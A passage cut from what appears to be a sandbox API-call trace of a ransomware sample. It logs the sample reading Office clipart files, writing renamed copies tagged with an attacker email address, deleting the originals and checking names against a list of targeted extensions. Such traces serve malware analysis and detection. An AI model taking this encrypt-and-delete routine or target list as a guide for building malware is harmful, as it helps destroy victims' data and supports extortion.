hTemplateFile=0x0) returned 0x530 [0185.485] GetLastError () returned 0x0 [0185.485] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4e80, lpOverlapped=0x0) returned 1 [0185.488] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0185.490] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.490] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.490] SetEndOfFile (hFile=0x530) returned 1 [0185.491] CloseHandle (hObject=0x530) returned 1 [0185.491] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.491] SetEndOfFile (hFile=0x378) returned 1 [0185.496] CloseHandle (hObject=0x378) returned 1 [0185.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0185.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.498] lstrlenW (lpString=".doc") returned 4 [0185.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.498] lstrlenW (lpString=".docx") returned 5 [0185.498] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0185.498] lstrlenW (lpString=".pdf") returned 4 [0185.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.498] lstrlenW (lpString=".xls") returned 4 [0185.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.499] lstrlenW (lpString=".xlsx") returned 5 [0185.499] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0185.499] lstrlenW (lpString=".ppt") returned 4 [0185.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.499] lstrlenW (lpString=".zip") returned 4 [0185.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.499] lstrlenW (lpString=".rar") returned 4 [0185.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.499] lstrlenW (lpString=".bz2") returned 4 [0185.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.499] lstrlenW (lpString=".7z") returned 3 [0185.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.499] lstrlenW (lpString=".dbf") returned 4 [0185.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.499] lstrlenW (lpString=".1cd") returned 4 [0185.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0185.499] lstrlenW (lpString=".jpg") returned 4 [0185.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.501] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16952) returned 1 [0185.501] CloseHandle (hObject=0x378) returned 1 [0185.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220 [0185.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.503] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.503] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.505] GetLastError () returned 0x0 [0185.505] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4238, lpOverlapped=0x0) returned 1 [0185.508] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4240, lpOverlapped=0x0) returned 1 [0185.510] ReadFile (in: hFile=0x378, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.510] WriteFile (in: hFile=0x530, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.510] SetEndOfFile (hFile=0x530) returned 1 [0185.510] CloseHandle (hObject=0x530) returned 1 [0185.511] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.511] SetEndOfFile (hFile=0x378) returned 1 [0185.515] CloseHandle (hObject=0x378) returned 1 [0185.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0185.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.875] lstrlenW (lpString=".doc") returned 4 [0185.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.875] lstrlenW (lpString=".docx") returned 5 [0185.875] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0185.875] lstrlenW (lpString=".pdf") returned 4 [0185.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.875] lstrlenW (lpString=".xls") returned 4 [0185.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.875] lstrlenW (lpString=".xlsx") returned 5 [0185.875] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0185.875] lstrlenW (lpString=".ppt") returned 4 [0185.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.876] lstrlenW (lpString=".zip") returned 4 [0185.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.876] lstrlenW (lpString=".rar") returned 4 [0185.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.876] lstrlenW (lpString=".bz2") returned 4 [0185.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.876] lstrlenW (lpString=".7z") returned 3 [0185.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.876] lstrlenW (lpString=".dbf") returned 4 [0185.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.876] lstrlenW (lpString=".1cd") returned 4 [0185.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0185.876] lstrlenW (lpString=".jpg") returned 4 [0185.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.441] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=12752) returned 1 [0186.441] CloseHandle (hObject=0x444) returned 1 [0186.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 0x220 [0186.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0186.443] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.443] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0186.444] GetLastError () returned 0x0 [0186.444] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x31d0, lpOverlapped=0x0) returned 1 [0186.447] WriteFile (in: hFile=0x378, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x31e0, lpOverlapped=0x0) returned 1 [0186.448] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.448] WriteFile (in: hFile=0x378, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.448] SetEndOfFile (hFile=0x378) returned 1 [0186.448] CloseHandle (hObject=0x378) returned 1 [0186.449] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.449] SetEndOfFile (hFile=0x444) returned 1 [0186.452] CloseHandle (hObject=0x444) returned 1 [0186.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0186.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.454] lstrlenW (lpString=".doc") returned 4 [0186.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.454] lstrlenW (lpString=".docx") returned 5 [0186.454] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0186.455] lstrlenW (lpString=".pdf") returned 4 [0186.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString=".xls") returned 4 [0186.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.455] lstrlenW (lpString=".xlsx") returned 5 [0186.455] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0186.455] lstrlenW (lpString=".ppt") returned 4 [0186.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.455] lstrlenW (lpString=".zip") returned 4 [0186.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.455] lstrlenW (lpString=".rar") returned 4 [0186.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString=".bz2") returned 4 [0186.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString=".7z") returned 3 [0186.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.455] lstrlenW (lpString=".dbf") returned 4 [0186.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.455] lstrlenW (lpString=".1cd") returned 4 [0186.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0186.456] lstrlenW (lpString=".jpg") returned 4 [0186.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.457] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=17912) returned 1 [0186.457] CloseHandle (hObject=0x444) returned 1 [0186.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220 [0186.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0186.459] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.459] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0186.461] GetLastError () returned 0x0 [0186.461] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x45f8, lpOverlapped=0x0) returned 1 [0186.464] WriteFile (in: hFile=0x378, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4600, lpOverlapped=0x0) returned 1 [0186.465] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.465] WriteFile (in: hFile=0x378, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.465] SetEndOfFile (hFile=0x378) returned 1 [0186.465] CloseHandle (hObject=0x378) returned 1 [0186.466] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.466] SetEndOfFile (hFile=0x444) returned 1 [0186.470] CloseHandle (hObject=0x444) returned 1 [0186.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0186.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.472] lstrlenW (lpString=".doc") returned 4 [0186.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.472] lstrlenW (lpString=".docx") returned 5 [0186.472] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0186.472] lstrlenW (lpString=".pdf") returned 4 [0186.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.472] lstrlenW (lpString=".xls") returned 4 [0186.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.472] lstrlenW (lpString=".xlsx") returned 5 [0186.472] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0186.472] lstrlenW (lpString=".ppt") returned 4 [0186.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.472] lstrlenW (lpString=".zip") returned 4 [0186.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.472] lstrlenW (lpString=".rar") returned 4 [0186.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.472] lstrlenW (lpString=".bz2") returned 4 [0186.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.472] lstrlenW (lpString=".7z") returned 3 [0186.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.473] lstrlenW (lpString=".dbf") returned 4 [0186.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.473] lstrlenW (lpString=".1cd") returned 4 [0186.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0186.473] lstrlenW (lpString=".jpg") returned 4 [0186.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.475] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=11396) returned 1 [0186.475] CloseHandle (hObject=0x444) returned 1 [0186.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220 [0186.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0186.476] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.476] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.744] GetLastError () returned 0x0 [0186.744] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2c84, lpOverlapped=0x0) returned 1 [0186.746] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0186.747] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.747] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.747] SetEndOfFile (hFile=0x2a8) returned 1 [0186.748] CloseHandle (hObject=0x2a8) returned 1 [0186.748] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.748] SetEndOfFile (hFile=0x444) returned 1 [0186.751] CloseHandle (hObject=0x444) returned 1 [0186.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0186.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.753] lstrlenW (lpString=".doc") returned 4 [0186.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.753] lstrlenW (lpString=".docx") returned 5 [0186.753] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0186.753] lstrlenW (lpString=".pdf") returned 4 [0186.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.753] lstrlenW (lpString=".xls") returned 4 [0186.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.753] lstrlenW (lpString=".xlsx") returned 5 [0186.753] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0186.753] lstrlenW (lpString=".ppt") returned 4 [0186.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.753] lstrlenW 